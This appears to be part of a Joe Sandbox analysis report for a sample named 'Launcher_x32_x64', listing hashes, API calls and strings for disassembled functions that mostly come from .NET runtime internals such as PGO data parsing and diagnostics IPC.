Opcode Fuzzy Hash: dc9d8f12c330366ea4f4dcb105bf4c7ac0ca1ac61911cc25cc2c28fce8540aa5
Instruction Fuzzy Hash: 20E01236311514EB87069E56E848C4BB76AFBCD761310813AFA05C3350CB719C12CBD4

Function 0ADCB440 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1819849440.000000000AD61000.00000020.00000001.00040000.00000003.sdmp, Offset: 0AD60000, based on PE: true

Associated: 00000000.00000002.1819822885.000000000AD60000.00000002.00000001.00040000.00000003.sdmpDownload File
Associated: 00000000.00000002.1820046845.000000000AEB7000.00000004.00000001.00040000.00000003.sdmpDownload File
Associated: 00000000.00000002.1820046845.000000000AEBD000.00000004.00000001.00040000.00000003.sdmpDownload File
Associated: 00000000.00000002.1820078291.000000000AEBF000.00000008.00000001.00040000.00000003.sdmpDownload File
Associated: 00000000.00000002.1820097468.000000000AED0000.00000002.00001000.00040000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ad60000_Launcher_x32_x64.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bcf7c14e1aac840af03df7f083f8e287a9bcd5d7e71b4968da39871c1c6c83f2
Instruction ID: d07ee7f1c398c548bf44947a4bfe401c93480f54ea3931d2e2307cec9a135c3e
Opcode Fuzzy Hash: bcf7c14e1aac840af03df7f083f8e287a9bcd5d7e71b4968da39871c1c6c83f2
Instruction Fuzzy Hash: 12E04630611208DBCB06CF76940906EB7AAAB84201B5045AAD806C3380EB328E00CA40

Function 0AD8C060 Relevance: .0, Instructions: 17COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1819849440.000000000AD61000.00000020.00000001.00040000.00000003.sdmp, Offset: 0AD60000, based on PE: true

Associated: 00000000.00000002.1819822885.000000000AD60000.00000002.00000001.00040000.00000003.sdmpDownload File
Associated: 00000000.00000002.1820046845.000000000AEB7000.00000004.00000001.00040000.00000003.sdmpDownload File
Associated: 00000000.00000002.1820046845.000000000AEBD000.00000004.00000001.00040000.00000003.sdmpDownload File
Associated: 00000000.00000002.1820078291.000000000AEBF000.00000008.00000001.00040000.00000003.sdmpDownload File
Associated: 00000000.00000002.1820097468.000000000AED0000.00000002.00001000.00040000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ad60000_Launcher_x32_x64.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 24f0185ec163d84e2b83f98259a99d84003abb78f5f6f2317450a8cc358c4806
Instruction ID: 756a2c98b2c5ec292ba331032fe9a389db3ac6872d4590971401d32fa59ebf3b
Opcode Fuzzy Hash: 24f0185ec163d84e2b83f98259a99d84003abb78f5f6f2317450a8cc358c4806
Instruction Fuzzy Hash: D1D0C93672022457860527AEB80C8AF7B9EE7C96663140426F60AC3701CF748C0187A0

Function 0ADC1810 Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1819849440.000000000AD61000.00000020.00000001.00040000.00000003.sdmp, Offset: 0AD60000, based on PE: true

Associated: 00000000.00000002.1819822885.000000000AD60000.00000002.00000001.00040000.00000003.sdmpDownload File
Associated: 00000000.00000002.1820046845.000000000AEB7000.00000004.00000001.00040000.00000003.sdmpDownload File
Associated: 00000000.00000002.1820046845.000000000AEBD000.00000004.00000001.00040000.00000003.sdmpDownload File
Associated: 00000000.00000002.1820078291.000000000AEBF000.00000008.00000001.00040000.00000003.sdmpDownload File
Associated: 00000000.00000002.1820097468.000000000AED0000.00000002.00001000.00040000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ad60000_Launcher_x32_x64.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d3711d5c77ad6c326e665063eb22f0ea90c35541bde63ce42f8d4eac3c701a12
Instruction ID: 4ad6ea1351a8756c08f74aca75bbc6951f1cdd539b180b67b907108ce239334b
Opcode Fuzzy Hash: d3711d5c77ad6c326e665063eb22f0ea90c35541bde63ce42f8d4eac3c701a12
Instruction Fuzzy Hash: 6DD01231000348FFCB024F51DC04F6A7F69EB05701F14C069F91449191C733E921DB60

Function 0CA9CC00 Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1820769827.000000000CA91000.00000020.00000001.00040000.00000003.sdmp, Offset: 0CA90000, based on PE: true

Associated: 00000000.00000002.1820747846.000000000CA90000.00000002.00000001.00040000.00000003.sdmpDownload File
Associated: 00000000.00000002.1820808703.000000000CAE0000.00000004.00000001.00040000.00000003.sdmpDownload File
Associated: 00000000.00000002.1820829854.000000000CAE2000.00000008.00000001.00040000.00000003.sdmpDownload File
Associated: 00000000.00000002.1820849565.000000000CAE7000.00000002.00001000.00040000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca90000_Launcher_x32_x64.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 66baa89e40753cbe9af6d28b7e4e7a7c27beb7d98e8f6f70ad1f9915729ba774
Instruction ID: f1ae27d0b2543ba9771b2ae42fd6c56463c530e6148ce167d8aff7de12a16ca2
Opcode Fuzzy Hash: 66baa89e40753cbe9af6d28b7e4e7a7c27beb7d98e8f6f70ad1f9915729ba774
Instruction Fuzzy Hash: 46C0923120030ACFC7D86BB8E0488543739FB4832A79000A8F44E4E211CBB6E842DF80

Non-executed Functions

Function 00ED3390 Relevance: 60.2, APIs: 25, Strings: 9, Instructions: 708memorystringCOMMON

Download Yara Rule

APIs

Part of subcall function 0108BD60: _errno.API-MS-WIN-CRT-RUNTIME-L1-1-0(95E4D7D1,80131506,?), ref: 0108BDCE
Part of subcall function 0108BD60: wcstoul.API-MS-WIN-CRT-CONVERT-L1-1-0(00000000,?,?), ref: 0108BDE2
Part of subcall function 0108BD60: _errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 0108BDEE
Part of subcall function 0108BD60: HeapFree.KERNEL32(00000000,00000000), ref: 0108BE12

Part of subcall function 0108BD60: HeapFree.KERNEL32(00000000,00000000,95E4D7D1,80131506,?), ref: 0108BE4F

Part of subcall function 0108BEC0: HeapFree.KERNEL32(00000000,00000000,00000000,?,00000000,0138695C,?,00FA762A), ref: 0108BF10

_wfopen.API-MS-WIN-CRT-STDIO-L1-1-0(?,0140F46C,95E4D7D1,00000000,00000000,?,C0000000,01336AFD,000000FF), ref: 00ED3470
fgets.API-MS-WIN-CRT-STDIO-L1-1-0(?,00004000,00000000,000000FF), ref: 00ED34BE
fclose.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 00ED3FF4

Part of subcall function 00ED8880: __stdio_common_vsscanf.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,?,000000FF,?,00000000,00ED34E7,?,00ED34E7,?,*** START PGO Data, max index = %u ***,?), ref: 00ED88A2

fgets.API-MS-WIN-CRT-STDIO-L1-1-0(?,00004000,00000000,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00ED3500
fgets.API-MS-WIN-CRT-STDIO-L1-1-0(?,00004000,00000000), ref: 00ED3F8A

Part of subcall function 00ED3310: fgets.API-MS-WIN-CRT-STDIO-L1-1-0(?,000000FF,00000000,00000000), ref: 00ED3333
Part of subcall function 00ED3310: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 00ED3347
Part of subcall function 00ED3310: fgets.API-MS-WIN-CRT-STDIO-L1-1-0(?,000000FF,00000000), ref: 00ED336B

HeapFree.KERNEL32(00000000,?), ref: 00ED3665
fgets.API-MS-WIN-CRT-STDIO-L1-1-0(?,00004000,00000000), ref: 00ED36DE
HeapFree.KERNEL32(00000000,?), ref: 00ED3883
HeapFree.KERNEL32(00000000,?), ref: 00ED38B1
HeapFree.KERNEL32(00000000,?), ref: 00ED3942
fgets.API-MS-WIN-CRT-STDIO-L1-1-0(?,00004000,?,?), ref: 00ED37FC

Part of subcall function 01086BF0: GetProcessHeap.KERNEL32(00000002,00E3FECB,00000002,?,00000002,00E3F233,?,?,?,95E4D7D1), ref: 01086BFC
Part of subcall function 01086BF0: HeapAlloc.KERNEL32(03A20000,00000000,?,00000002,00E3FECB,00000002,?,00000002,00E3F233,?,?,?,95E4D7D1), ref: 01086C18

HeapFree.KERNEL32(00000000,?), ref: 00ED3A0E
HeapFree.KERNEL32(00000000,?), ref: 00ED3B03
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,TypeHandle: ,0000000C), ref: 00ED3B98
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 00ED3BB0
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,NULL), ref: 00ED3BF3
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,UNKNOWN), ref: 00ED3C0C
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 00ED3C1F

Part of subcall function 00E3E050: HeapFree.KERNEL32(00000000,?,00000001,?,?,?,00E3E0FA,?,?,00000004,00000000,?,?,?,?,0109D97D), ref: 00E3E098

HeapFree.KERNEL32(00000000,?,?), ref: 00ED3FBD
HeapFree.KERNEL32(00000000,?,?), ref: 00ED3FE3
HeapFree.KERNEL32(00000000,?,95E4D7D1,00000000,00000000,?,C0000000,01336AFD,000000FF), ref: 00ED402A

Strings

None, xrefs: 00ED3824
%u, xrefs: 00ED38C9
TypeHandle: , xrefs: 00ED3B92
NULL, xrefs: 00ED3BED
UNKNOWN, xrefs: 00ED3C06
%u %u, xrefs: 00ED3A8E
@@@ codehash 0x%08X methodhash 0x%08X ilSize 0x%08X records 0x%08X, xrefs: 00ED3562
*** START PGO Data, max index = %u ***, xrefs: 00ED34DC
Schema InstrumentationKind %u ILOffset %u Count %u Other %u, xrefs: 00ED3711

Memory Dump Source

Source File: 00000000.00000002.1815444457.0000000000E31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E30000, based on PE: true

Associated: 00000000.00000002.1815426765.0000000000E30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815712473.000000000136F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815784912.00000000014A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815800078.00000000014AC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014BB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815899742.00000000014C3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e30000_Launcher_x32_x64.jbxd

Similarity

API ID: Heap$Free$fgets$_errnostrcmpstrlen$AllocProcess__stdio_common_vsscanf_wfopenfclosemallocstrncmpwcstoul
String ID: %u$%u %u$*** START PGO Data, max index = %u ***$@@@ codehash 0x%08X methodhash 0x%08X ilSize 0x%08X records 0x%08X$NULL$None$Schema InstrumentationKind %u ILOffset %u Count %u Other %u$TypeHandle: $UNKNOWN
API String ID: 169502912-2398891802
Opcode ID: d13cb5242528cd650a3bb64bd4f2b244d072b68972f416f6ec8898c7e1fd75bc
Instruction ID: a470c54c296544cd3c205167a628efcf89262e1b173353bebd6aee953c94a67b
Opcode Fuzzy Hash: d13cb5242528cd650a3bb64bd4f2b244d072b68972f416f6ec8898c7e1fd75bc
Instruction Fuzzy Hash: 346255B1E052288BDB309F64ED84BD9B7B8EB54305F4441EAEA09B3290D7309F85CF59

Function 0114B770 Relevance: 33.5, APIs: 14, Strings: 5, Instructions: 277COMMON

Download Yara Rule

APIs

Part of subcall function 01147C40: GetCommandLineW.KERNEL32(?,00000000,00000000,?,?,0114B513,?,00000000), ref: 01147C57
Part of subcall function 01147C40: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,0114C424), ref: 01147CCF
Part of subcall function 01147C40: free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,0114C424,?), ref: 01147CF2

MultiByteToWideChar.KERNEL32(0000FDE9,00000000,00000000,000000FF,00000000,00000000), ref: 0114B7B5
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 0114B8BF
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 0114B8CD
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 0114B8DB
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 0114B8EC
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 0114B8FA

Part of subcall function 0113E380: MultiByteToWideChar.KERNEL32(0000FDE9,00000000,Microsoft-DotNETCore-SampleProfiler,000000FF,00000000,00000000,00000000,Microsoft-DotNETCore-SampleProfiler,014B6530,0114547A), ref: 0113E397
Part of subcall function 0113E380: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,0113E834,00000000,00000000,?), ref: 0113E3A7
Part of subcall function 0113E380: MultiByteToWideChar.KERNEL32(0000FDE9,00000000,Microsoft-DotNETCore-SampleProfiler,000000FF,00000000,00000000), ref: 0113E3C2
Part of subcall function 0113E380: free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,?,0113E834,00000000,00000000), ref: 0113E3CD

GetCurrentProcessId.KERNEL32 ref: 0114B969

Strings

8.0.8, xrefs: 0114B954
x86, xrefs: 0114B926
DOTNET_IPC_V1, xrefs: 0114BA6F
Windows, xrefs: 0114B810, 0114B83E
Failed to send DiagnosticsIPC response, xrefs: 0114B89A

Memory Dump Source

Source File: 00000000.00000002.1815444457.0000000000E31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E30000, based on PE: true

Associated: 00000000.00000002.1815426765.0000000000E30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815712473.000000000136F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815784912.00000000014A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815800078.00000000014AC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014BB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815899742.00000000014C3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e30000_Launcher_x32_x64.jbxd

Similarity

API ID: free$ByteCharMultiWide$CommandCurrentLineProcessmallocstrcmp
String ID: 8.0.8$DOTNET_IPC_V1$Failed to send DiagnosticsIPC response$Windows$x86
API String ID: 1080296359-11759673
Opcode ID: d19359d64818ed9af47b1497f6cd41a7e6d96f16fe1a63f0fb8767d9abbede9a
Instruction ID: 88ac0cc4be21668252f768c27e45aac99522b6ce4cad09b1ead840bb9d557c39
Opcode Fuzzy Hash: d19359d64818ed9af47b1497f6cd41a7e6d96f16fe1a63f0fb8767d9abbede9a
Instruction Fuzzy Hash: 39A10B749043068BEF2CDFA9D855BBEBB74AF44B04F14412DE906A7294D770E901CB55

Function 0114A440 Relevance: 30.2, APIs: 5, Strings: 12, Instructions: 498COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,00000000,?,74FDD070), ref: 0114A511
_swprintf.LIBCMT ref: 0114A6DF
_swprintf.LIBCMT ref: 0114A739
SleepEx.KERNEL32(?,00000000,00000000,?,74FDD070), ref: 0114AAFC
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,74FDD070), ref: 0114ABCD

Strings

ds_ipc_stream_factory_get_next_available_stream - UNK :: Poll attempt: %d, connection %d had invalid PollEvent., xrefs: 0114A9C3
CLIENT IpcPollHandle[%d] = %s, xrefs: 0114A76B
ds_ipc_stream_factory_get_next_available_stream - HUP :: Poll attempt: %d, connection %d hung up. Connect is reset., xrefs: 0114A85D
ds_ipc_stream_factory_get_next_available_stream - ERR :: Poll attempt: %d, connection %d errored. Connection is reset., xrefs: 0114A962
ds_ipc_stream_factory_get_next_available_stream - Poll attempt: %d, timeout: %dms., xrefs: 0114A687
ds_ipc_stream_factory_get_next_available_stream - Nothing to poll, sleeping using timeout: %dms., xrefs: 0114AA72
ds_ipc_stream_factory_get_next_available_stream - ENTER, xrefs: 0114A46B
ds_ipc_stream_factory_get_next_available_stream - NON :: Poll attempt: %d, connection %d had no events., xrefs: 0114A988
ds_ipc_stream_factory_get_next_available_stream - EXIT :: Poll attempt: %d, stream using handle %d., xrefs: 0114AB86
ds_ipc_stream_factory_get_next_available_stream - SIG :: Poll attempt: %d, connection %d signalled., xrefs: 0114A8FC
{ _hPipe = %d, _oOverlap.hEvent = %d }, xrefs: 0114A6D4, 0114A72E
SERVER IpcPollHandle[%d] = %s, xrefs: 0114A715

Memory Dump Source

Source File: 00000000.00000002.1815444457.0000000000E31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E30000, based on PE: true

Associated: 00000000.00000002.1815426765.0000000000E30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815712473.000000000136F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815784912.00000000014A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815800078.00000000014AC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014BB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815899742.00000000014C3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e30000_Launcher_x32_x64.jbxd

Similarity

API ID: _swprintffree$Sleep
String ID: CLIENT IpcPollHandle[%d] = %s$SERVER IpcPollHandle[%d] = %s$ds_ipc_stream_factory_get_next_available_stream - ENTER$ds_ipc_stream_factory_get_next_available_stream - ERR :: Poll attempt: %d, connection %d errored. Connection is reset.$ds_ipc_stream_factory_get_next_available_stream - EXIT :: Poll attempt: %d, stream using handle %d.$ds_ipc_stream_factory_get_next_available_stream - HUP :: Poll attempt: %d, connection %d hung up. Connect is reset.$ds_ipc_stream_factory_get_next_available_stream - NON :: Poll attempt: %d, connection %d had no events.$ds_ipc_stream_factory_get_next_available_stream - Nothing to poll, sleeping using timeout: %dms.$ds_ipc_stream_factory_get_next_available_stream - Poll attempt: %d, timeout: %dms.$ds_ipc_stream_factory_get_next_available_stream - SIG :: Poll attempt: %d, connection %d signalled.$ds_ipc_stream_factory_get_next_available_stream - UNK :: Poll attempt: %d, connection %d had invalid PollEvent.${ _hPipe = %d, _oOverlap.hEvent = %d }
API String ID: 1340007598-2040380821
Opcode ID: 14d1e81eb450c32ef230daea961c0a70c5a37fc7af319d052859be5228eb2068
Instruction ID: fa2c211a2e656140c124a2ccb2bb8c5bde7dd4ce0329d2366dd33d6fd551447e
Opcode Fuzzy Hash: 14d1e81eb450c32ef230daea961c0a70c5a37fc7af319d052859be5228eb2068
Instruction Fuzzy Hash: 9012C270E403288FEB389B18EC45BD9BB75EF49B10F4681D9E60AA72A1D7705D81CF51

Function 0114B4F0 Relevance: 28.2, APIs: 12, Strings: 4, Instructions: 212COMMON

Download Yara Rule

APIs

Part of subcall function 01147C40: GetCommandLineW.KERNEL32(?,00000000,00000000,?,?,0114B513,?,00000000), ref: 01147C57
Part of subcall function 01147C40: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,0114C424), ref: 01147CCF
Part of subcall function 01147C40: free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,0114C424,?), ref: 01147CF2

MultiByteToWideChar.KERNEL32(0000FDE9,00000000,00000000,000000FF,00000000,00000000,?,00000000), ref: 0114B52F
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,0114C424,?), ref: 0114B628
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,0114C424,?), ref: 0114B636
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,0114C424,?), ref: 0114B644

Part of subcall function 0113E380: MultiByteToWideChar.KERNEL32(0000FDE9,00000000,Microsoft-DotNETCore-SampleProfiler,000000FF,00000000,00000000,00000000,Microsoft-DotNETCore-SampleProfiler,014B6530,0114547A), ref: 0113E397
Part of subcall function 0113E380: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,0113E834,00000000,00000000,?), ref: 0113E3A7
Part of subcall function 0113E380: MultiByteToWideChar.KERNEL32(0000FDE9,00000000,Microsoft-DotNETCore-SampleProfiler,000000FF,00000000,00000000), ref: 0113E3C2
Part of subcall function 0113E380: free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,?,0113E834,00000000,00000000), ref: 0113E3CD

GetCurrentProcessId.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,0114C424,?), ref: 0114B686

Strings

x86, xrefs: 0114B66F
DOTNET_IPC_V1, xrefs: 0114B730
Windows, xrefs: 0114B58A, 0114B5B8
Failed to send DiagnosticsIPC response, xrefs: 0114B608

Memory Dump Source

Source File: 00000000.00000002.1815444457.0000000000E31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E30000, based on PE: true

Associated: 00000000.00000002.1815426765.0000000000E30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815712473.000000000136F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815784912.00000000014A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815800078.00000000014AC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014BB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815899742.00000000014C3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e30000_Launcher_x32_x64.jbxd

Similarity

API ID: free$ByteCharMultiWide$CommandCurrentLineProcessmallocstrcmp
String ID: DOTNET_IPC_V1$Failed to send DiagnosticsIPC response$Windows$x86
API String ID: 1080296359-4166280127
Opcode ID: 8228e2aef8f73e610fff2dbba7580f4aea37044a0203ce507b47531becbb6027
Instruction ID: 09c9693c1792631b0547d78ff523de8eb68a6bc5f0327058a0d6dc380b0e90fd
Opcode Fuzzy Hash: 8228e2aef8f73e610fff2dbba7580f4aea37044a0203ce507b47531becbb6027
Instruction Fuzzy Hash: DD612A74A052059BEB2CDFA8EC55BBEB779AF44B00F14412DE902AB294DB71D902C798

Function 0113F1A0 Relevance: 26.5, APIs: 14, Strings: 1, Instructions: 212memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 0108BD60: _errno.API-MS-WIN-CRT-RUNTIME-L1-1-0(95E4D7D1,80131506,?), ref: 0108BDCE
Part of subcall function 0108BD60: wcstoul.API-MS-WIN-CRT-CONVERT-L1-1-0(00000000,?,?), ref: 0108BDE2
Part of subcall function 0108BD60: _errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 0108BDEE
Part of subcall function 0108BD60: HeapFree.KERNEL32(00000000,00000000), ref: 0108BE12

WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,000000FF,00000000,00000000,00000000,00000000,95E4D7D1,?,00000004), ref: 0113F227
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,?,?,?,?,00000000,01364F95,000000FF), ref: 0113F239
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,000000FF,00000000,?,00000000,00000000,?,?,?,?,?,?,?,00000000), ref: 0113F25A
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,?,?,?,?,00000000,01364F95,000000FF), ref: 0113F265
HeapFree.KERNEL32(00000000,?,95E4D7D1,?,00000004,?,?,?,?,?,?,?,00000000,01364F95,000000FF), ref: 0113F28F
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,00000000,000000FF,00000000,00000000,00000000,00000000,95E4D7D1,?,00000004), ref: 0113F2E7
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 0113F2F9
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,00000000,000000FF,00000000,00000000,00000000,00000000), ref: 0113F31A
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 0113F325
HeapFree.KERNEL32(00000000,00000000), ref: 0113F351
GetCurrentProcessId.KERNEL32 ref: 0113F361
_swprintf.LIBCMT ref: 0113F373
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,95E4D7D1,?,00000004,?,?,?,?,?,?,?,00000000,01364F95,000000FF,?,0113FC5F), ref: 0113F3E6
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,95E4D7D1,?,00000004,?,?,?,?,?,?,?,00000000,01364F95,000000FF,?,0113FC5F), ref: 0113F3F4

Part of subcall function 0108BEC0: HeapFree.KERNEL32(00000000,00000000,00000000,?,00000000,0138695C,?,00FA762A), ref: 0108BF10

Strings

trace.nettrace, xrefs: 0113F3B6

Memory Dump Source

Source File: 00000000.00000002.1815444457.0000000000E31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E30000, based on PE: true

Associated: 00000000.00000002.1815426765.0000000000E30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815712473.000000000136F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815784912.00000000014A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815800078.00000000014AC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014BB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815899742.00000000014C3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e30000_Launcher_x32_x64.jbxd

Similarity

API ID: ByteCharFreeHeapMultiWidefree$_errnomalloc$CurrentProcess_swprintfwcstoul
String ID: trace.nettrace
API String ID: 523469554-2227795629
Opcode ID: d694742c541fd80b41a89d21d04f416e3106a0e2ff744edb9dd74d84264efdd2
Instruction ID: 74261b7e92b392fb2799922b837b2f7588f26d150a50f9df11f8532e748d5e9d
Opcode Fuzzy Hash: d694742c541fd80b41a89d21d04f416e3106a0e2ff744edb9dd74d84264efdd2
Instruction Fuzzy Hash: 1F715B71D04316EBEB349FA9DC44BEEBAB8EF84714F108225E911B72D4DB709804CB92

Function 00E806F0 Relevance: 24.8, APIs: 12, Strings: 2, Instructions: 277COMMON

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32(95E4D7D1,80131506,?), ref: 00E80761
RaiseFailFastException.KERNEL32(?,?,00000000), ref: 00E8088F
IsDebuggerPresent.KERNEL32 ref: 00E808F0
SetErrorMode.KERNEL32(00000000), ref: 00E80901
SetErrorMode.KERNEL32(00000000), ref: 00E8090B

Part of subcall function 0108BD60: _errno.API-MS-WIN-CRT-RUNTIME-L1-1-0(95E4D7D1,80131506,?), ref: 0108BDCE
Part of subcall function 0108BD60: wcstoul.API-MS-WIN-CRT-CONVERT-L1-1-0(00000000,?,?), ref: 0108BDE2
Part of subcall function 0108BD60: _errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 0108BDEE
Part of subcall function 0108BD60: HeapFree.KERNEL32(00000000,00000000), ref: 0108BE12

IsDebuggerPresent.KERNEL32 ref: 00E80933
SetErrorMode.KERNEL32(00000000), ref: 00E8094C
SetErrorMode.KERNEL32(00000000), ref: 00E80956
IsDebuggerPresent.KERNEL32 ref: 00E8099C
DebugBreak.KERNEL32 ref: 00E809AA
SetErrorMode.KERNEL32(00000000), ref: 00E80A6B
SetErrorMode.KERNEL32(00000000), ref: 00E80A75

Strings

D::RFFE: Return from RaiseFailFastException, xrefs: 00E808AA
D::RFFE: About to call RaiseFailFastException, xrefs: 00E8085E

